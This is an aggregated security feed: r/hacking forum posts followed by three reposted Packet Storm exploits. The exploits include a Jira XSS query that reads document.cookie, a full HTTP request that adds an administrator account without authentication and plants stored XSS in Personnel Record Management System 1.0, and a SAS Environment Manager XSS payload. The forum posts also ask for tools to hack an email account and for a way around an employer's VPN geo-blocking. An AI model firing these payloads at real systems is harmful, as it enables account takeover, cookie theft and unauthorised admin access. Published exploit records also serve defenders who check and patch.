hacking: security in practice
Ports to be opened at Firewall for Kali to work from outside

Which ports at Firewall have to be opened for Kali to work from external segment ? Any insight would be appreciated.

submitted by /u/Pamelaxyz
[link] [comments]

hacking: security in practice
Google Issues

I'm looking to get back into my old email after someone hacked it,

​

google keeps saying the following

​

An email with a verification code was just sent to wef••••••••••••@pro•••••••.com

​

what email is this? Where can i acquire the tools to hack back my email or that one to get my email back? Any form of help would be lovely thank you

submitted by /u/Ominosu_Nebyura
[link] [comments]

hacking: security in practice
COM ports not showing up

I'm setting up this esp8266 but the pc doesn't detect any COM device which is weird because It should detect the esp, I go check into device manager and there's nothing there, how do I fix

submitted by /u/xX_zEnUs_Xx
[link] [comments]

hacking: security in practice
Digital Forensics in Medical Devices

Hi, I’m a researcher with the University of Minnesota working on a project related to digital forensics in Medical devices. We were hoping to get some more insight into the digital forensics field. If you have any insights in forensics, cybersecurity or medical devices and would be willing to fill out the following form that would be greatly appreciated.

Digital Forensics Survey

submitted by /u/Nosrack_
[link] [comments]

hacking: security in practice
Bypassing geo-blocking

My company issues pre-built laptops which use certificate based VPNs to connect to the infrastructure. Furthermore, there is IP based geo-blocking in place to deter outside access. The only possible thing that can be changed are the WiFi settings to connect to a home WiFi network for remote working. No ethernet port. I'm of the opinion that it should be possible to setup a secondary device to create a WiFi that tunnels all traffic through a VPN to a location of my choosing. My boss thinks it's not possible so I would like to work up a proof of concept to show that it's not as safe as they think.

Does anyone have any pointers/ideas/guides how I could set this up with e.g. a 2nd laptop acting as the gateway device?

Thanks for any input

submitted by /u/Handsome_Me
[link] [comments]

hacking: security in practice
Cyberflix

Dunno if this belongs in this sub, but I have cyberflix that a friend of mine put on my fire for me to use to watch whatever. However, I find that very often that most titles have no links to spare, or the ones that do exist don’t work/load.

What alternative apps do you suggest? Or am I cyberflixing wrong?

submitted by /u/mmmalloryknox
[link] [comments]

Exploit Collector
Atlassian Jira Server/Data Center 8.16.0 Cross Site Scripting

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Atlassian Jira Server / Data Center version 8.16.0 suffer from a cross site scripting vulnerability.

MD5 | cf784a036af7c8f27e355469c33191ea

Download
# Exploit Title: Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)
# Date: 06/05/2021
# Exploit Author: CAPTAIN_HOOK
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira/download/data-center
# Version: versions < 8.5.14, 8.6.0 ≤ version < 8.13.6, 8.14.0 ≤ version < 8.16.1
# Tested on: ANY
# CVE : CVE-2021-26078

Description:

The number range searcher component in Jira Server and Jira Data Center before version 8.5.14, from version 8.6.0 before version 8.13.6, and from version 8.14.0 before version 8.16.1 allows remote attackers inject arbitrary HTML or JavaScript via across site scripting (XSS) vulnerability
*Fixed versions:*

- 8.5.14
- 8.13.6
- 8.16.1
- 8.17.0

POC:

- *Story points* custom field that exists by default in all JIRA Server has 3 types of Search template ( None , number range searcher, number searcher) By default the value of Search template is number range searcher OR number searcher. if the value of Search template was set on number range searcher the JIRA server is vulnerable to XSS attack by lowest privilege . For Testing Check the Story points custom field and it's details ( for verifying that the Search template sets on number range searcher) with your ADMIN account ( just like the images) and in the other window Type this With your least privilege
user : jql=issuetype%20%3D%20Epic%20AND%20%22Story%20Points%22%20%3C%3D%20%22%5C%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22%20AND%20%22Story%20Points%22%20%3E%3D%20%221%22
Your XSS Will be triggered immediately.

Reference:
https://jira.atlassian.com/browse/JRASERVER-72392?error=login_required&error_description=Login+required&state=9b05ec1f-587c-4014-9053-b6fdbb1efa21

Source:packetstormsecurity.com

Exploit Collector
Personnel Record Management System 1.0 Authentication Bypass / XSS

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Personnel Record Management System version 1.0 unauthenticated administrator addition exploit that also adds a stored cross site scripting payload.

MD5 | 7830494b80453a138becbe2ae78fc9d3

Download
# Exploit Title: Personnel Record Management System | Unauthenticated Add Admin Account (plus Stored XSS)
# Exploit Author: Richard Jones
# Date: 28/06/2021
# Vendor Homepage: https://www.sourcecodester.com/php/5107/record-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5107&title=Record+Management+System+in+PHP+Free+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

#Exploit:
-------------------------------------------------------------------------------------------------
POST /Personnel_record_management_system/add_user.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/Personnel_record_management_system/add_user.php
Cookie: PHPSESSID=8bkj7jlpmlbuqtnti8urp7qcmo
Upgrade-Insecure-Requests: 1

username=admin2&password=admin2&firstname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=%3Cscript%3Ealert%282%29%3C%2Fscript%3E&type=Admin&save=
-------------------------------------------------------------------------------------------------

This will add a new admin account unauthenticated with stored Cross-Site-Scripting.

XSS can be accessed in history log, Admin account, user account pages

Source:packetstormsecurity.com

Exploit Collector
SAS Environment Manager 2.5 Cross Site Scripting

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
SAS Environment Manager version 2.5 suffers from a persistent cross site scripting vulnerability.

MD5 | a1bca70f9195c84c7ae4745dbcaceb7e

Download
# Exploit Title: SAS Environment Manager 2.5 - 'name' Stored Cross-Site Scripting (XSS)
# Date: 24/06/2021
# Exploit Author: Luqman Hakim Zahari @ Saitamang
# Vendor Homepage: https://support.sas.com/en/software/environment-manager-support.html
# Version: 2.5
# Tested on: CentOS 7
# CVE : CVE-2021-35475

# Description #

SAS® Environment Manager 2.5 allows XSS through the Name field when creating/editing a server. The XSS will prompt when editing the Configuration Properties.

# Proof of Concept(PoC) # https://github.com/saitamang/CVE-2021-35475/blob/main/README.md

*Steps to Reproduce:*

[1.] Login to your system > On "Resource" tab > "Browse""
[2.] Choose a "Platform"
[3.] Click "Inventory" tab > Under "Servers" tab click "New..."
[4.] Under "General Properties" tab on "Name" field , enter the payload(below) > Filled up other information and click "Ok" button

payload :

name=XSS"><marquee@SAITAMANG

[5.] Successfully saved the payload page will shown
[6.] Then scroll down to bottom under "Configuration Properties" tab > click "Edit" button
[7.] Then the payload will be executed

Source:packetstormsecurity.com